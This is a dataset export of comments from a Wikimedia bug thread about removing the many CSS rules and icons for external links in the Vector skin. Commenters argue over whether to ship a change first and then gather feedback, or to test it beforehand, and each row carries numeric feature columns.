I didn't mean to point fingers at any specific event, and wasn't actually thinking of typo refresh when making my comment (Or the actual subject of this bug. Oh well guess this bug is pretty hijacked). I wanted to address in the abstract the attitude in comment 23 of making changes willy nilly (which I flippantly phrased as ""breaking the world"") and then iterating on them until people like them (or cynically: until they become fait accompli), as being a good way to get feedback. I think its a good way to piss off people, and self-justify changes via confirmation bias.


> 
> The fact we have to actively discuss trivial changes like this concerns me
> greatly. We have a huge editor decline and here we are arguing about some
> icons next to links.

I'm not sure I follow. Not asking editors for feedback on changes is somehow going to increase editor retention?

> 
> Also I think you mean /editors/ when you say /readers/ here. I think most
> /readers/ care simply if a link will take them to an external site or not.

I was responding as if ""readers"" = Users without an account who only read. For the actual change I think both groups care. My comment was aimed solely at attitudes for getting feedback. I'm not actually that concerned about the actual change",,,1396916621,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,3.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,2.0,1.3333333333333333,0.0,0.3333333333333333,0.0,4.333333333333333,0.3333333333333333,6.333333333333333,12.0,0.0,1.6666666666666667,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,12.666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,2.3333333333333335,10.0,1.3333333333333333,1.6666666666666667,5.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,5.666666666666667,12.0,3.3333333333333335,0.3333333333333333,1.6666666666666667,0.0,5.666666666666667,0.0,1.0,1.0,0.6666666666666666,3.3333333333333335,0.0,0.0,0.3333333333333333,3.8693693693693696,0.7432432432432433,"(In reply to Jon from comment #37)
QUOTE
QUOTE

I didn't mean to point fingers at any specific event, and wasn't actually thinking of typo refresh when making my comment (Or the actual subject of this bug. Oh well guess this bug is pretty hijacked). I wanted to address in the abstract the attitude in comment 23 of making changes willy nilly (which I flippantly phrased as ""breaking the world"") and then iterating on them until people like them (or cynically: until they become fait accompli), as being a good way to get feedback. I think its a good way to piss off people, and self-justify changes via confirmation bias.


QUOTE
QUOTE
QUOTE
QUOTE

I'm not sure I follow. Not asking editors for feedback on changes is somehow going to increase editor retention?

QUOTE
QUOTE
QUOTE

I was responding as if ""readers"" = Users without an account who only read. For the actual change I think both groups care. My comment was aimed solely at attitudes for getting feedback. I'm not actually that concerned about the actual change"
258721,Large number of CSS rules for external links,I'm just going to leap in here in the middle of this heated discussion and change the title of the bug to be grammatically correct. It's been bugging me. Sorry.,,,1396915976,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,9.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.742857142857143,0.8,I'm just going to leap in here in the middle of this heated discussion and change the title of the bug to be grammatically correct. It's been bugging me. Sorry.
258714,Large number of CSS rules for external links,"The world is not breaking. The world of Vector is just going through turbulence.

As stated above external links were removed as part of the typography beta feature. Actually, not a single person wrote about this on the talk page (https://www.mediawiki.org/wiki/Talk:Typography_Update) during the 6 months it was live. This evidence leads me to believe that they are /not/ important and it is the basis for removing them.

If this proves to be wrong, then we react and restore/amend it, it's no big deal. Commits and reverts are cheap.

The fact we have to actively discuss trivial changes like this concerns me greatly. We have a huge editor decline and here we are arguing about some icons next to links.

Also I think you mean /editors/ when you say /readers/ here. I think most /readers/ care simply if a link will take them to an external site or not.",,,1396915738,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.5,0.0,0.5,0.5,1.5,7.0,2.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.5,0.0,7.0,10.5,0.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.5,0.0,9.5,3.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,6.0,4.5,7.5,2.0,3.0,9.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,9.5,10.5,1.5,0.0,0.0,0.0,9.5,0.0,0.5,2.5,2.0,2.0,0.0,0.5,0.0,3.894117647058824,0.776470588235294,"The world is not breaking. The world of Vector is just going through turbulence.

As stated above external links were removed as part of the typography beta feature. Actually, not a single person wrote about this on the talk page (URL during the 6 months it was live. This evidence leads me to believe that they are /not/ important and it is the basis for removing them.

If this proves to be wrong, then we react and restore/amend it, it's no big deal. Commits and reverts are cheap.

The fact we have to actively discuss trivial changes like this concerns me greatly. We have a huge editor decline and here we are arguing about some icons next to links.

Also I think you mean /editors/ when you say /readers/ here. I think most /readers/ care simply if a link will take them to an external site or not."
258707,Large number of CSS rules for external links,"(In reply to Isarra from comment #34)
We did a beta feature, it was called typography refresh, and little to no feedback (negative or positive) addressed the removal of these icons, that was the impetus for moving forward with this as a simple patch. 

If you read on the Beta Features page, you'll see that Beta Features should not be only subtractive in nature, e.g. packaging up the removal of these icons as its own feature makes very little sense. — https://www.mediawiki.org/wiki/Beta_Features/Package",,,1396915523,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,1.0,1.0,1.0,8.0,1.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,1.0,0.0,5.0,15.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8969072164948453,0.7525773195876289,"(In reply to Isarra from comment #34)
We did a beta feature, it was called typography refresh, and little to no feedback (negative or positive) addressed the removal of these icons, that was the impetus for moving forward with this as a simple patch. 

If you read on the Beta Features page, you'll see that Beta Features should not be only subtractive in nature, e.g. packaging up the removal of these icons as its own feature makes very little sense. — URL"
258700,Large number of CSS rules for external links,"
> 
> Its relevant because asking for feedback on ""the usual channels"" completely
> omits the target user, when the target users is a reader. Jon's point that
> we can do it and then iterate speaks to the fact that it is one of our only
> ways to get reader feedback. To roll the change out publicly then iterate.
> We can get better at this eventually, but at the current juncture, I think
> this is a sound plan based on our infrastructure for eliciting feedback from
> readers and others who aren't aware of, or participate in ""the usual
> channels""
> 
> Hope that makes sense.

breaking the world, and then seeing who complains isn't really a good way to get feedback from readers. First off, most people who complain aren't going to be ""readers"" they are going to be active users who are familiar with the regular channels. If you actually get readers angry enough that they figure out how to complain, you've probably massively screwed up the site. Second, that's prone to a massive confirmation bias of ""Well nobody or not that many people complained out of a group of people who don't know how to complain, therefore it must be a good idea""

I really think this is an extraordinarily dangerous line of reasoning to go down.",,,1396914965,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.5,0.0,0.0,0.0,2.5,6.5,2.5,0.0,0.0,0.5,0.5,2.5,0.5,0.0,0.0,0.5,0.0,11.0,12.0,0.5,3.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,2.5,0.5,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,10.5,1.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,1.5,1.0,4.5,4.5,8.5,3.0,1.0,6.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,3.5,12.0,5.0,0.0,2.5,0.0,3.5,0.0,3.5,3.0,0.0,2.0,0.0,0.5,0.0,3.878205128205128,0.6602564102564104,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

breaking the world, and then seeing who complains isn't really a good way to get feedback from readers. First off, most people who complain aren't going to be ""readers"" they are going to be active users who are familiar with the regular channels. If you actually get readers angry enough that they figure out how to complain, you've probably massively screwed up the site. Second, that's prone to a massive confirmation bias of ""Well nobody or not that many people complained out of a group of people who don't know how to complain, therefore it must be a good idea""

I really think this is an extraordinarily dangerous line of reasoning to go down."
258693,Large number of CSS rules for external links,"In reply to Jared Zimmerman (WMF) from comment #31)
> Its relevant because asking for feedback on ""the usual channels"" completely
> omits the target user, when the target users is a reader. Jon's point that
> we can do it and then iterate speaks to the fact that it is one of our only
> ways to get reader feedback. To roll the change out publicly then iterate.
> We can get better at this eventually, but at the current juncture, I think
> this is a sound plan based on our infrastructure for eliciting feedback from
> readers and others who aren't aware of, or participate in ""the usual
> channels""

I would think that 'users' here would include readers and editors both, and even then, editors often know their readers better than one might expect (such as by talking to them, or being them). So talking to the editors is probably exactly the right place to start. They could tell you things like the fact that some of these external link styles, such as IRC, will never appear in article space (on a non-technical project, anyway - mw.org or archwiki and similar probably have quite a few irc links in various articles), but are often used in project and user space (so changes to that style would be purely editor-facing on projects like Wikipedia, not reader). Or that readers often complain when <blah> or have trouble with <blah>.

And there is also ample infrastructure in place to test potential changes, is there not? For instance you could do:
* A/B tests to determine if readers are less likely to click on external if they are or aren't visibly marked as whatever kind of link they are. 
* Scripted tests on usertesting.com to gain insight into possible reactions to unexpected pdfs, audio files, IRC links, etc vs regular external links, and to the external link icons themselves when they are used, such as if they even figure out what they mean.
* A betafeature for users to see if removing the special icons affects their workflows, or if they prefer it outright.

If there is a problem, you should be able to prove it without just deploying it first and asking questions later. Also what Derk-Jan said.",,,1396914365,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.5,0.0,0.0,0.75,0.75,6.5,0.5,0.0,0.0,1.75,2.25,0.75,0.0,0.0,0.75,0.25,0.0,7.25,13.0,0.0,1.75,0.25,0.0,0.0,0.25,0.5,0.0,0.0,0.75,1.0,0.0,4.5,1.75,0.75,1.0,0.75,0.25,0.0,0.25,0.75,0.0,3.25,0.25,0.75,0.0,0.25,0.25,0.0,0.25,13.25,0.25,0.5,0.0,0.25,0.25,0.0,0.0,0.0,0.75,0.0,0.25,0.75,0.0,0.75,0.0,0.0,0.25,2.5,3.25,7.5,3.0,3.5,4.0,0.0,0.0,0.0,0.25,4.0,0.0,0.25,0.0,5.25,13.0,4.25,0.25,0.5,0.0,5.25,0.0,1.25,1.0,0.75,1.5,0.5,0.0,1.75,3.871701933124347,0.7280564263322884,"In reply to Jared Zimmerman (WMF) from comment #31)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I would think that 'users' here would include readers and editors both, and even then, editors often know their readers better than one might expect (such as by talking to them, or being them). So talking to the editors is probably exactly the right place to start. They could tell you things like the fact that some of these external link styles, such as IRC, will never appear in article space (on a non-technical project, anyway - mw.org or archwiki and similar probably have quite a few irc links in various articles), but are often used in project and user space (so changes to that style would be purely editor-facing on projects like Wikipedia, not reader). Or that readers often complain when <blah> or have trouble with <blah>.

And there is also ample infrastructure in place to test potential changes, is there not? For instance you could do:
* A/B tests to determine if readers are less likely to click on external if they are or aren't visibly marked as whatever kind of link they are. 
* Scripted tests on usertesting.com to gain insight into possible reactions to unexpected pdfs, audio files, IRC links, etc vs regular external links, and to the external link icons themselves when they are used, such as if they even figure out what they mean.
* A betafeature for users to see if removing the special icons affects their workflows, or if they prefer it outright.

If there is a problem, you should be able to prove it without just deploying it first and asking questions later. Also what Derk-Jan said."
258688,Large number of CSS rules for external links,"Users of a product are aware (although not always consciously) of the absence of something equally well as the awareness of and existence of something (cruft). A user does not need to be aware of something, an ""absence,"" say to be aware that a product is better because of design choices to remove, and simplify. 


""Good design is as little design as possible — Less is more – because it concentrates on the essential aspects and the products are not burdened with non-essentials. Back to purity, back to simplicity"" —Dieter Rams

""Perfection is achieved perfection not when there is nothing left to add, but when there is nothing left to take away"" –Antoine de Saint-Exupery",,,1396914062,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,1.5,0.0,3.0,2.5,5.5,3.0,1.0,0.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,9.5,12.5,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,0.0,10.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,6.0,7.0,3.5,2.5,4.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.5,12.5,4.5,0.0,3.5,0.0,0.5,0.0,1.5,2.0,0.0,0.0,2.0,0.0,0.5,3.993863179074447,0.667102615694165,"Users of a product are aware (although not always consciously) of the absence of something equally well as the awareness of and existence of something (cruft). A user does not need to be aware of something, an ""absence,"" say to be aware that a product is better because of design choices to remove, and simplify. 


""Good design is as little design as possible — Less is more – because it concentrates on the essential aspects and the products are not burdened with non-essentials. Back to purity, back to simplicity"" —Dieter Rams

""Perfection is achieved perfection not when there is nothing left to add, but when there is nothing left to take away"" –Antoine de Saint-Exupery"
258684,Large number of CSS rules for external links,"Then again, can you expect a casual reader to ever appreciate that which is not there? A removal like this is hard to notice, because most links don't have these icons.

Your proposal is basically: Ah, people asked for this 10 years ago. but there is a bunch of annoying css rules, so let's remove them and wait how long it takes for people to ask if they can have the feature back. This feature contributes to the rule of least astonishment, and you are removing it without considering replacing it with an alternative.

I find that somewhat presumptuous if i'm honest. But then again, I thought messing with fonts was a dangerous plan and that turned out just splendid, so what do I know....",,,1396913306,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,0.0,1.0,5.5,1.0,0.5,0.0,1.5,0.0,1.0,0.0,0.5,0.5,3.0,0.5,9.0,11.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,0.0,0.0,6.5,4.0,2.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,10.0,1.5,1.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,4.5,3.5,5.5,3.5,4.0,7.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.0,8.0,11.0,0.5,0.5,0.0,0.0,8.0,0.0,2.5,3.0,0.5,3.0,0.0,1.0,0.0,3.93968797564688,0.8274353120243532,"Then again, can you expect a casual reader to ever appreciate that which is not there? A removal like this is hard to notice, because most links don't have these icons.

Your proposal is basically: Ah, people asked for this 10 years ago. but there is a bunch of annoying css rules, so let's remove them and wait how long it takes for people to ask if they can have the feature back. This feature contributes to the rule of least astonishment, and you are removing it without considering replacing it with an alternative.

I find that somewhat presumptuous if i'm honest. But then again, I thought messing with fonts was a dangerous plan and that turned out just splendid, so what do I know...."
258680,Large number of CSS rules for external links,"(In reply to Isarra from comment #28)
> And there is a right way to make change happen - by proposing changes and
> getting feedback. By implementing this, you have inherently proposed it, and
> now you are getting feedback. Whether or not they should be merged depends
> on what consensus is established either here or in other appropriate
> channels; we have these channels for a reason.

Its relevant because asking for feedback on ""the usual channels"" completely omits the target user, when the target users is a reader. Jon's point that we can do it and then iterate speaks to the fact that it is one of our only ways to get reader feedback. To roll the change out publicly then iterate. We can get better at this eventually, but at the current juncture, I think this is a sound plan based on our infrastructure for eliciting feedback from readers and others who aren't aware of, or participate in ""the usual channels""

Hope that makes sense.",,,1396911689,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.5,0.0,0.5,5.5,2.0,0.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,3.0,0.0,4.5,12.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,6.5,2.0,1.5,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,15.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.5,5.5,2.5,7.5,2.0,2.5,7.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,4.5,12.5,2.5,0.0,2.5,0.0,4.5,0.0,2.0,1.0,0.0,1.0,0.5,0.0,0.0,3.8308823529411766,0.7941176470588236,"(In reply to Isarra from comment #28)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Its relevant because asking for feedback on ""the usual channels"" completely omits the target user, when the target users is a reader. Jon's point that we can do it and then iterate speaks to the fact that it is one of our only ways to get reader feedback. To roll the change out publicly then iterate. We can get better at this eventually, but at the current juncture, I think this is a sound plan based on our infrastructure for eliciting feedback from readers and others who aren't aware of, or participate in ""the usual channels""

Hope that makes sense."
258676,Large number of CSS rules for external links,"(In reply to Jared Zimmerman (WMF) from comment #29)
> Isarra, I've mentioned it before and I'll mention it here again, that
> process makes total sense for editor or logged-in user features. It doesn't
> make sense for reader facing features, as these users are not part of this
> conversation.  
> 
> You know how to do cross site links but many users do not, and the systems
> are not smart enough to automatically convert them in many cases.

I agree, new users often don't appreciate the significance of many features. But how is this relevant to the matter at hand?",,,1396911306,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,24.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,11.0,15.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4727272727272727,0.7090909090909091,"(In reply to Jared Zimmerman (WMF) from comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I agree, new users often don't appreciate the significance of many features. But how is this relevant to the matter at hand?"
258672,Large number of CSS rules for external links,"Isarra, I've mentioned it before and I'll mention it here again, that process makes total sense for editor or logged-in user features. It doesn't make sense for reader facing features, as these users are not part of this conversation.  

You know how to do cross site links but many users do not, and the systems are not smart enough to automatically convert them in many cases.",,,1396910718,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,3.0,0.0,0.0,0.0,5.0,5.0,1.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,4.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,1.0,1.0,3.0,6.0,1.0,5.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,10.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.962025316455696,0.759493670886076,"Isarra, I've mentioned it before and I'll mention it here again, that process makes total sense for editor or logged-in user features. It doesn't make sense for reader facing features, as these users are not part of this conversation.  

You know how to do cross site links but many users do not, and the systems are not smart enough to automatically convert them in many cases."
258667,Large number of CSS rules for external links,"(In reply to Jon from comment #26)
> To be clear, we still show an external link icon.
> Yes I suspect it may annoy people but this can be easily remedied. Change is
> also a trend that needs to start.

And there is a right way to make change happen - by proposing changes and getting feedback. By implementing this, you have inherently proposed it, and now you are getting feedback. Whether or not they should be merged depends on what consensus is established either here or in other appropriate channels; we have these channels for a reason.

(In reply to Jared Zimmerman (WMF) from comment #27)
> Isarra, from a technical perspective a PDF hosted on commons while I'm on
> wikipedia is ""leaving the site"" but this isn't how most readers or casual
> editors see it. That was my point. I appreciate your point about it from a
> literal perspective.

External links appear if the external link format is used, regardless of where the link points. They are only supposed to be for links that go off the site (in other words, ones that are 'external'); we normally use wikilinks (ones formatted [[like this]]) to link to local and sister project pages, which do not result in external link formatting.

For more information about how links work in MediaWiki, please see https://www.mediawiki.org/wiki/Links",,,1396910489,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,2.0,1.0,5.0,0.5,0.0,0.0,0.5,3.0,1.0,0.0,0.5,0.5,1.0,1.0,5.0,13.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,2.0,0.5,2.0,1.0,0.5,0.5,0.0,1.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,15.0,1.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,2.5,4.0,10.5,2.0,3.5,5.0,0.0,0.0,0.0,1.0,3.5,0.5,1.0,0.0,3.5,13.0,4.5,0.0,1.0,0.0,3.5,0.0,3.0,1.0,0.0,2.0,0.5,0.0,1.0,3.8664001683147484,0.6922996002524722,"(In reply to Jon from comment #26)
QUOTE
QUOTE
QUOTE

And there is a right way to make change happen - by proposing changes and getting feedback. By implementing this, you have inherently proposed it, and now you are getting feedback. Whether or not they should be merged depends on what consensus is established either here or in other appropriate channels; we have these channels for a reason.

(In reply to Jared Zimmerman (WMF) from comment #27)
QUOTE
QUOTE
QUOTE
QUOTE

External links appear if the external link format is used, regardless of where the link points. They are only supposed to be for links that go off the site (in other words, ones that are 'external'); we normally use wikilinks (ones formatted [[like this]]) to link to local and sister project pages, which do not result in external link formatting.

For more information about how links work in MediaWiki, please see URL"
258661,Large number of CSS rules for external links,"Isarra, from a technical perspective a PDF hosted on commons while I'm on wikipedia is ""leaving the site"" but this isn't how most readers or casual editors see it. That was my point. I appreciate your point about it from a literal perspective.",,,1396903714,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,6.0,10.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,4.0,0.0,4.0,0.0,12.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,0.0,3.9411764705882355,0.7647058823529411,"Isarra, from a technical perspective a PDF hosted on commons while I'm on wikipedia is ""leaving the site"" but this isn't how most readers or casual editors see it. That was my point. I appreciate your point about it from a literal perspective."
258657,Large number of CSS rules for external links,"To be clear, we still show an external link icon.
Yes I suspect it may annoy people but this can be easily remedied. Change is also a trend that needs to start.",,,1396903563,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,5.0,8.0,11.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5135135135135136,0.918918918918919,"To be clear, we still show an external link icon.
Yes I suspect it may annoy people but this can be easily remedied. Change is also a trend that needs to start."
258649,Large number of CSS rules for external links,"(In reply to Jared Zimmerman (WMF) from comment #23)
> From my understand the external/file format link icons are only relevant
> when you are actually leaving the site, or when it would cause your browsers
> to download a file rather than loading it in some kind of built in player,
> either on site or in-browsers. The original code for this I assume was
> created prior to mediawiki being able to natively handle many of these file
> formats. 

Generally external links do leave the site. This is what 'external link' means.

(In reply to Jon from comment #24)
> That said, I am happy to deal with any after effects of this change. I'd
> hope such a drastic change would surface the icons that are important.
> 
> I think the removal of them although somewhat extreme, will make it clearer
> and easier to restore ones that are vital.

I would suggest that breaking everything and then seeing what people complain about the most may not be the best way to determine what is important. Yes, it may work, but more than anything it's probably just going to annoy people, and needlessly alienating users is a trend that needs to stop, not continue.",,,1396902884,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,1.5,0.0,0.0,1.5,4.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,5.5,8.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,5.0,2.0,1.5,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,9.5,1.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.5,0.0,1.0,1.0,3.0,3.0,11.5,1.0,2.5,3.5,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,2.5,8.0,5.5,0.0,1.0,0.0,2.5,0.0,3.0,1.0,0.0,3.0,1.0,1.5,0.0,3.6731150793650795,0.6231398809523809,"(In reply to Jared Zimmerman (WMF) from comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Generally external links do leave the site. This is what 'external link' means.

(In reply to Jon from comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I would suggest that breaking everything and then seeing what people complain about the most may not be the best way to determine what is important. Yes, it may work, but more than anything it's probably just going to annoy people, and needlessly alienating users is a trend that needs to stop, not continue."
258641,Large number of CSS rules for external links,"Apologies if I misunderstood and this had been the agreement.

That said, I am happy to deal with any after effects of this change. I'd hope such a drastic change would surface the icons that are important.

I think the removal of them although somewhat extreme, will make it clearer and easier to restore ones that are vital.

